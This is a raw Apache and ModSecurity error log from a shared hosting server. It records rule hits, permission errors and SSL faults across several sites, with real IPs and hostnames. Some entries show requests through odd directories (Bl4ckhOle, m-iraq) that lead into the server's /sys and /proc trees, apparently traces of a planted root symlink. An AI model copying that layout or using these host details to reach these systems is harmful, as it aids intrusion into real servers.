[Fri Jul 17 09:25:36.895780 2026] [security2:error] [pid 2030774:tid 2030774] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almnuBHlOGcokz2QIwTYjwAAAAM"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:25:36.926979 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:44134] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:25:37.055661 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almnuARRrtuZqNDDSqW1QgAAABo"]
[Fri Jul 17 09:25:37.357688 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:37.469708 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:37.556714 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:37.656821 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty54/subsystem/ttyS3/uartclk
[Fri Jul 17 09:25:37.758285 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:37.962384 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:38.062909 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:38.265935 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:38.391207 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:38.396307 2026] [security2:error] [pid 2031172:tid 2031172] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/monitors/asus-monitors"] [unique_id "almnuujME1mgqYZ5O94rhgAAAAE"]
[Fri Jul 17 09:25:38.396426 2026] [security2:error] [pid 2031172:tid 2031172] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/monitors/asus-monitors"] [unique_id "almnuujME1mgqYZ5O94rhgAAAAE"]
[Fri Jul 17 09:25:38.396768 2026] [security2:error] [pid 2031172:tid 2031172] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/monitors/asus-monitors"] [unique_id "almnuujME1mgqYZ5O94rhgAAAAE"]
[Fri Jul 17 09:25:38.467389 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:38.468487 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 47.82.14.90:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:1b/subsystem/drivers_probe
[Fri Jul 17 09:25:38.471319 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:38.568770 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:38.682529 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:38.769941 2026] [security2:error] [pid 2031172:tid 2031172] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almnuujME1mgqYZ5O94rhgAAAAE"]
[Fri Jul 17 09:25:38.788615 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:38.971300 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:39.188025 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:39.275307 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:39.381887 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:39.581987 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:39.784512 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:39.884465 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:40.197629 2026] [security2:error] [pid 1993619:tid 1993619] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/monitors/dell-monitor"] [unique_id "almnvI1dLClkUfK_dfHqMwAAAAI"]
[Fri Jul 17 09:25:40.197770 2026] [security2:error] [pid 1993619:tid 1993619] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/monitors/dell-monitor"] [unique_id "almnvI1dLClkUfK_dfHqMwAAAAI"]
[Fri Jul 17 09:25:40.198387 2026] [security2:error] [pid 1993619:tid 1993619] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/monitors/dell-monitor"] [unique_id "almnvI1dLClkUfK_dfHqMwAAAAI"]
[Fri Jul 17 09:25:40.313674 2026] [security2:error] [pid 2018757:tid 2018757] [client 134.122.200.52:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "moslanka.maximsholdings.com"] [uri "/"] [unique_id "almnvEkXT4NBqALj2laCUQAAABA"]
[Fri Jul 17 09:25:40.314081 2026] [security2:error] [pid 2018757:tid 2018757] [client 134.122.200.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "moslanka.maximsholdings.com"] [uri "/"] [unique_id "almnvEkXT4NBqALj2laCUQAAABA"]
[Fri Jul 17 09:25:40.711202 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:44344] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:25:41.528016 2026] [security2:error] [pid 1993619:tid 1993619] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almnvI1dLClkUfK_dfHqMwAAAAI"]
[Fri Jul 17 09:25:42.812632 2026] [security2:error] [pid 1993671:tid 1993671] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/monitors/hp-monitor"] [unique_id "almnvg5GPQ6hs4VrfMpHkgAAAAY"]
[Fri Jul 17 09:25:42.812794 2026] [security2:error] [pid 1993671:tid 1993671] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/monitors/hp-monitor"] [unique_id "almnvg5GPQ6hs4VrfMpHkgAAAAY"]
[Fri Jul 17 09:25:42.813324 2026] [security2:error] [pid 1993671:tid 1993671] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/monitors/hp-monitor"] [unique_id "almnvg5GPQ6hs4VrfMpHkgAAAAY"]
[Fri Jul 17 09:25:43.321706 2026] [security2:error] [pid 1993671:tid 1993671] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almnvg5GPQ6hs4VrfMpHkgAAAAY"]
[Fri Jul 17 09:25:43.832197 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:59018] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:25:44.607901 2026] [security2:error] [pid 2034024:tid 2034024] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/monitors/samsung-monitor"] [unique_id "almnwI-0g_VSPeIeFN3FvwAAAAs"]
[Fri Jul 17 09:25:44.608001 2026] [security2:error] [pid 2034024:tid 2034024] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/monitors/samsung-monitor"] [unique_id "almnwI-0g_VSPeIeFN3FvwAAAAs"]
[Fri Jul 17 09:25:44.608382 2026] [security2:error] [pid 2034024:tid 2034024] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/monitors/samsung-monitor"] [unique_id "almnwI-0g_VSPeIeFN3FvwAAAAs"]
[Fri Jul 17 09:25:44.617548 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:59078] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:25:44.692987 2026] [security2:error] [pid 2018768:tid 2018768] [client 57.141.18.71:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory112/subsystem/devices/memory133/node0/memory107/subsystem/devices/memory90/node0/memory37/"] [unique_id "almnwFCBpfuYyhJ140vX_AAAAB4"]
[Fri Jul 17 09:25:44.693173 2026] [security2:error] [pid 2018768:tid 2018768] [client 57.141.18.71:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory112/subsystem/devices/memory133/node0/memory107/subsystem/devices/memory90/node0/memory37/"] [unique_id "almnwFCBpfuYyhJ140vX_AAAAB4"]
[Fri Jul 17 09:25:44.987985 2026] [security2:error] [pid 2034024:tid 2034024] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almnwI-0g_VSPeIeFN3FvwAAAAs"]
[Fri Jul 17 09:25:45.440336 2026] [security2:error] [pid 2030955:tid 2030955] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "millenniumagro.lk"] [uri "/index.php"] [unique_id "almnp_wooI4qY7Jg93patQAAABM"]
[Fri Jul 17 09:25:45.440382 2026] [security2:error] [pid 2030955:tid 2030955] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "millenniumagro.lk"] [uri "/index.php"] [unique_id "almnp_wooI4qY7Jg93patQAAABM"]
[Fri Jul 17 09:25:46.912075 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 45.198.224.244:33090] AH00035: access to /400.shtml denied (filesystem path '/home/cloudtourssrilan/public_html/400.shtml') because search permissions are missing on a component of the path
[Fri Jul 17 09:25:46.997000 2026] [security2:error] [pid 2031172:tid 2031172] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/monitors/viewsonic-monitors"] [unique_id "almnwujME1mgqYZ5O94rjwAAAAE"]
[Fri Jul 17 09:25:46.997137 2026] [security2:error] [pid 2031172:tid 2031172] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/monitors/viewsonic-monitors"] [unique_id "almnwujME1mgqYZ5O94rjwAAAAE"]
[Fri Jul 17 09:25:46.997441 2026] [security2:error] [pid 2031172:tid 2031172] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/monitors/viewsonic-monitors"] [unique_id "almnwujME1mgqYZ5O94rjwAAAAE"]
[Fri Jul 17 09:25:47.232778 2026] [security2:error] [pid 2018757:tid 2018757] [client 134.122.200.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "moslanka.maximsholdings.com"] [uri "/index.php"] [unique_id "almnvEkXT4NBqALj2laCUQAAABA"]
[Fri Jul 17 09:25:47.255964 2026] [security2:error] [pid 2031172:tid 2031172] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almnwujME1mgqYZ5O94rjwAAAAE"]
[Fri Jul 17 09:25:47.693819 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 45.198.224.244:33096] AH00035: access to /400.shtml denied (filesystem path '/home/cloudtourssrilan/public_html/400.shtml') because search permissions are missing on a component of the path
[Fri Jul 17 09:25:48.074486 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 45.198.224.244:33098] AH00035: access to /400.shtml denied (filesystem path '/home/cloudtourssrilan/public_html/400.shtml') because search permissions are missing on a component of the path
[Fri Jul 17 09:25:48.368145 2026] [core:error] [pid 2030774:tid 2030774] (13)Permission denied: [client 45.198.224.244:33114] AH00035: access to /400.shtml denied (filesystem path '/home/cloudtourssrilan/public_html/400.shtml') because search permissions are missing on a component of the path
[Fri Jul 17 09:25:48.549002 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/laptop-notebook"] [unique_id "almnxJBVIrrUwtEhdafWZwAAAAU"]
[Fri Jul 17 09:25:48.549176 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/laptop-notebook"] [unique_id "almnxJBVIrrUwtEhdafWZwAAAAU"]
[Fri Jul 17 09:25:48.549721 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/laptop-notebook"] [unique_id "almnxJBVIrrUwtEhdafWZwAAAAU"]
[Fri Jul 17 09:25:48.664886 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 45.198.224.244:33118] AH00035: access to /400.shtml denied (filesystem path '/home/cloudtourssrilan/public_html/400.shtml') because search permissions are missing on a component of the path
[Fri Jul 17 09:25:48.938489 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almnxJBVIrrUwtEhdafWZwAAAAU"]
[Fri Jul 17 09:25:48.958747 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 45.198.224.244:33134] AH00035: access to /400.shtml denied (filesystem path '/home/cloudtourssrilan/public_html/400.shtml') because search permissions are missing on a component of the path
[Fri Jul 17 09:25:49.251740 2026] [core:error] [pid 2030774:tid 2030774] (13)Permission denied: [client 45.198.224.244:33136] AH00035: access to /400.shtml denied (filesystem path '/home/cloudtourssrilan/public_html/400.shtml') because search permissions are missing on a component of the path
[Fri Jul 17 09:25:49.279412 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:59384] AH02013: coalesce failed to read from data bucket
